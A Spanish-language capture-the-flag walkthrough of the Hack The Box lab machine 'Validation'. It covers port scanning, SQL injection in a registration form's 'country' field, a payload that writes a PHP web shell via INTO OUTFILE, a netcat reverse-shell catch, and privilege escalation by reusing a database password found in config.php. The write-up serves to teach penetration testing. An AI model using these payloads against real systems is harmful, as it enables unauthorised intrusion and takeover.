PING 10.10.11.116 (10.10.11.116) 56(84) bytes of data.
64 bytes from 10.10.11.116: icmp_seq=1 ttl=63 time=181 ms
--- 10.10.11.116 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 181.069/181.069/181.069/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.116 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-01 01:44 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 01:44
Completed Parallel DNS resolution of 1 host. at 01:44, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:44
Scanning 10.10.11.116 [65535 ports]
Discovered open port 22/tcp on 10.10.11.116
Discovered open port 80/tcp on 10.10.11.116
Discovered open port 8080/tcp on 10.10.11.116
Discovered open port 4566/tcp on 10.10.11.116
Completed SYN Stealth Scan at 01:44, 14.50s elapsed (65535 total ports)
Initiating Service scan at 01:44
Scanning 4 services on 10.10.11.116
Completed Service scan at 01:44, 11.53s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.11.116.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 5.62s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.71s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.01s elapsed
Nmap scan report for 10.10.11.116
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-01 01:44:17 -03 for 32s
Not shown: 65522 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgSpafkjRVogAlgtxt6cFN7sU4sRTiGYC01QloBpbOwerqFUoYNyhCdNP/9rvdhwFpXomoMhDxioWQZb1RTSbR5aCwkzwDRnLz5PKN/7faaoEVjFM1vSnjGwWxzPZJw4Xy8wEbvMDlNZQbWu44UMWhLH+Vp63egRsut0SkTpUy3Ovp/yb3uAeT/4sUPG+LvDgzXD2QY+O1SV0Y3pE+pRmL3UfRKr2ltMfpcc7y7423+3oRSONHfy1upVUcUZkRIKrl9Qb4CDpxbVi/hYfAFQcOYH+IawAounkeiTMMEtOYbzDysEzVrFcCiGPWOX5+7tu4H7jYnZiel39ka/TFODVA+m2ZJiz2NoKLKTVhouVAGkH7adYtotM62JEtow8MW0HCZ9+cX6ki5cFK9WQhN++KZej2fEZDkxV7913KaIa4HCbiDq1Sfr5j7tFAWnNDo097UHXgN5A0mL1zNqwfTBCHQTEga/ztpDE0pmTKS4rkBne9EDn6GpVhSuabX9S/BLk=
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9LolyD5tnJ06EqjRR6bFX/7oOoTeFPw2TKsP1KCHJcsPSVfZIafOYEsWkaq67dsCvOdIZ8VQiNAKfnGiaBLOo=
| 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJOP8cvEQVqCwuWYT06t/DEGxy6sNajp7CzuvfJzrCRZ
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.48 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open http syn-ack ttl 63 nginx
|_http-title: 403 Forbidden
8080/tcp open http syn-ack ttl 63 nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.33 seconds
Raw packets sent: 70852 (3.117MB) | Rcvd: 70882 (2.836MB)
Tenemos el puerto 22 correspondiente a un servidor SSH(OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)), el puerto 80 correspondiente a un servidor web(Apache httpd 2.4.48 ((Debian))) y los puertos 4566 y 8080 correspondientes a nginx
┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.116/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.116/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 268 L 747 W 16088 Ch "# Copyright 2007 James Fisher"
000000007: 200 268 L 747 W 16088 Ch "# license, visit http://creativecommons.org
/licenses/by-sa/3.0/"
000000013: 200 268 L 747 W 16088 Ch "#"
000000012: 200 268 L 747 W 16088 Ch "# on atleast 2 different hosts"
000000001: 200 268 L 747 W 16088 Ch "# directory-list-2.3-medium.txt"
000000010: 200 268 L 747 W 16088 Ch "#"
000000014: 200 268 L 747 W 16088 Ch "http://10.10.11.116/"
000000011: 200 268 L 747 W 16088 Ch "# Priority ordered case sensative list, whe
re entries were found"
000000009: 200 268 L 747 W 16088 Ch "# Suite 300, San Francisco, California, 941
05, USA."
000000006: 200 268 L 747 W 16088 Ch "# Attribution-Share Alike 3.0 License. To v
iew a copy of this"
000000008: 200 268 L 747 W 16088 Ch "# or send a letter to Creative Commons, 171
Second Street,"
000000004: 200 268 L 747 W 16088 Ch "#"
000000005: 200 268 L 747 W 16088 Ch "# This work is licensed under the Creative
Commons"
000000002: 200 268 L 747 W 16088 Ch "#"
000000550: 301 9 L 28 W 310 Ch "css"
000000953: 301 9 L 28 W 309 Ch "js"
000045240: 200 268 L 747 W 16088 Ch "http://10.10.11.116/"
000095524: 403 9 L 28 W 277 Ch "server-status"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 0
2- Explotación
2.1 Inyección SQL vía BurpSuite
Vamos a irnos a la pagina web alojada en el puerto 80 y vamos a ingresar un usuario:
"Join now":
Ahora vamos a ingresar otro usuario mas, en mi caso "test2":
Luego de realizar una investigación, parece que dentro del formulario de "Username", no se acontece una Inyección SQL, pero... vamos a ver si se acontece utilizando Burp Suite
Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":
Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":
Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, sabiendo esto, vamos a ir a Firefox en nuestro Kali, y nos vamos a ir a ajustes del navegador o settings:
En el cuadro de busqueda de opciones, vamos a buscar la palabra clave "network"
Vamos a abrir la configuración de red, con el boton "Settings"
Vamos a darla a "Manual proxy configuration" y lo configuraremos con la IP y puerto correspondiente del proxy de Burp, en este caso la IP "127.0.0.1" y el puerto "8080"
Vamos a aceptar con el boton "Ok", este paso no necesariamente tiene por que ser así, podemos configurar el proxy de Burp con la extensión de Foxy Proxy
Abrimos Burp Suite de nuevo y nos ponemos en modo intercepción:
Volvemos al formulario de "Username" y vamos a registrar un usuario nuevo, en mi caso "test3":
Se va a quedar cargando el sitio web, pero si vamos a Burp Suite, el proxy nos habrá interceptado la solicitud:
Como pudimos ver anteriormente, dentro del formulario de "Username" no se acontece la Inyección SQL, por lo que vamos a probarlo dentro del paramtro "country="
En mi caso utilzare el siguiente codigo SQL para listar las bases de datos que se encuentran dentro de este sitio web:
' UNION SELECT database()-- -
De tal manera que la solicitud quedaria de la siguiente forma:
Podemos ver que nos registro con el nombre que anteriormente habíamos ingresado "test2", y además esta el primer usuario que registramos "test1" y el nombre de la base de datos que esta corriendo por detrás este sitio web, por lo que verificamos que este sitio web es vulnerable a inyecciones SQL
2.2 Archivo PHP malcioso con inyección SQL
Si recordamos en el escaneo que realizamos de tecnologias web que utilizaba este sitio web, utiliza PHP, por lo que podríamos crear un archivo .PHP malicioso para obtener una reverse shell y subirlo mediante instrucciones SQL al servidor web
Ahora, dicho esto, vamos a volver para atras y vamos a registrar un nuevo usuario, en mi caso "revshell" para que la solicitud enviada al servidor pase por el proxy de Burp Suite:
Vamos a inyectar el siguiente codigo SQL:
' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/revshell.php"-- -
Lo que estamos haciendo con este codigo SQL, es alterar la consulta a la base de datos diciendole que queremos crear un archivo .PHP llamado "revshelll.php" que contenga el siguiente codigo PHP:
<?php
system($REQUEST['cmd']);
?>
Y este archivo "revshell.php" se va a almacenar dentro del dirctorio "/var/www/html/", mismo directorio donde se almacenan generalmente las aplicaciones web o sitios web dentro de GNU/Linux
La solicitud quedaria de tal manera:
POST / HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://10.10.11.116
Connection: keep-alive
Referer: http://10.10.11.116/
Cookie: user=ad0234829205b9033196ba818f7a872b
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=revshell&country=Armenia' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/revshell.php"-- -
Vamos a darle en Forward 2 veces dentro de Burp Suite como realizamos anteriormente, para que la solicitud llegue a la maquina objetivo de Hack The Box y vamos a volver al sitio web:
Nos dio un error, pero si accedemos a la siguiente URL especificándole el nombre del archivo malicioso que acabamos de subir llamado "revshell.php" y el parámetro "?cmd=" con el comando "whoami" de Linux:
http://10.10.11.116/revshell.php?cmd=whoami
2.3 Reverse shell con el archivo PHP malcioso subido
Ahora vamos a obtener una reverse shell, por el puerto 443, asi que vamos a ponernos en escucha con netcat:
┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nc -nlvp 443
listening on [any] 443 ...
Y para obtener la reverse shell en una consola de Kali, es necesario pasarle un comando como parametro "?cmd=" del archivo malicioso "revshell.php" que subimos anteriormente, en mi caso utilizare el siguiente comando:
Ingresamos el parámetro dentro de Firefox en el sitio web:
Quedara cargando, pero si vamos a la consola donde teníamos netcat en escucha por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.116] 55360
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$
2.4 Obtención de la flag de user
La flag de usuario se encuentra dentro de la ruta absoluta "/home/htb/user.txt", vamos a visualizar la flag con "cat"
Si vamos a la ruta "/var/www/html" nos encontraremos con un archivo llamado "config.php":
www-data@validation:/var/www/html$ cd /var/www/html
cd /var/www/html
www-data@validation:/var/www/html$ ls
ls
account.php
config.php
css
index.php
js
pwnedd.php
www-data@validation:/var/www/html$
Los archivos de configuración de una aplicación web, CMS o sitio web, por lo general suelen contener credenciales, asi que vamos a visualizar este archivo:
Investigando un poco, me di cuenta que a veces las credenciales de por si mismas de por ejemplo, una base de datos, a veces suele ser la misma que la de otros usuarios dentro de GNU/Linux, por una mala configuración o desconocimiento del usuario, asi que probemos logearnos con el usuario "root" con la password "uhc-9qual-global-pw", para eso vamos a utilizar el comando "su -":
www-data@validation:/var/www/html$ su -
su -
Password: uhc-9qual-global-pw
whoami
root
Podemos ver que es la password correcta, ahora vamos a obtener un prompt correcto para no tener errores a la hora de tipear o buscar la flag de root, para eso utilizamos el comando "script /dev/null -c bash":